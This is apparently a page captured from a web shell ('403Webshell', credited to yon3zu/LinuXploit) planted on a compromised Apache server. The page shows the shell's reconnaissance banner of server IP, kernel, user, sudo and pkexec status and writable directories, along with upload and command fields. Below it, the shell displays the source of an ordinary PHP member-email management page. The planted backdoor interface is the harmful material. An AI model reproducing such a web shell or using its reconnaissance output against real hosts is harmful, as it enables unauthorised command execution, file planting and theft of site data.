403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/domains/lake/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/domains/lake/public_html/profilemembers.php
<?php
require_once __DIR__ . '/config.php';
?>
<!-- Font Imports -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Caveat+Brush&family=Poppins:wght@300;400;500;600;700;900&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css?1">
<link rel="stylesheet" href="/css/font-icons.css">
<link rel="stylesheet" href="/css/swiper.css">
<link rel="stylesheet" href="/css/calendar.css">
<link rel="stylesheet" href="/demos/nonprofit/nonprofit.css">
<link rel="stylesheet" href="/css/custom.css">

<?php
$db = getDB();

if (isset($_GET['add']) && $_GET['add'] === 'on') {
    $firstName = trim($_POST['firstName'] ?? '');
    $lastName  = trim($_POST['lastName']  ?? '');
    $email     = trim($_POST['email']     ?? '');

    if ($firstName === '' || $lastName === '' || $email === '') {
        echo '<p>Please fill in all the required fields.</p>';
    } else {
        $db->prepare('INSERT INTO lake.membersemail (userid, firstname, lastname, email) VALUES (?,?,?,?)')
           ->execute([(int)$_SESSION['id'], $firstName, $lastName, $email]);
        echo '<p>Successfully added to the database.</p>';
    }
}
?>
<br>
<form action="/profilemembers.php?add=on" method="post">
    <table cellpadding="4">
        <tr><td>
            <input type="text" name="firstName" placeholder="First Name">
            <input type="text" name="lastName" placeholder="Last Name">
        </td></tr>
        <tr><td>
            <input type="email" name="email" placeholder="Email">
            <input type="submit" value="Add">
        </td></tr>
    </table>
</form>

<?php
if (isset($_GET['delete']) && is_numeric($_GET['delete'])) {
    $db->prepare('DELETE FROM lake.membersemail WHERE id = ? AND userid = ?')
       ->execute([(int)$_GET['delete'], (int)$_SESSION['id']]);
}

$stmt = $db->prepare('SELECT id, firstname, lastname, email FROM lake.membersemail WHERE userid = ?');
$stmt->execute([(int)$_SESSION['id']]);
$emails = $stmt->fetchAll();

if (count($emails) > 0):
?>
<table cellpadding="8">
    <tr>
        <th></th>
        <th>First Name</th>
        <th>Last Name</th>
        <th>Email Address</th>
    </tr>
    <?php foreach ($emails as $em): ?>
    <tr>
        <td><a href="/profilemembers.php?delete=<?= (int)$em->id ?>" onclick="return confirm('Are you sure?')">delete</a></td>
        <td><?= htmlspecialchars($em->firstname) ?></td>
        <td><?= htmlspecialchars($em->lastname) ?></td>
        <td><?= htmlspecialchars($em->email) ?></td>
    </tr>
    <?php endforeach; ?>
</table>
<?php endif; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit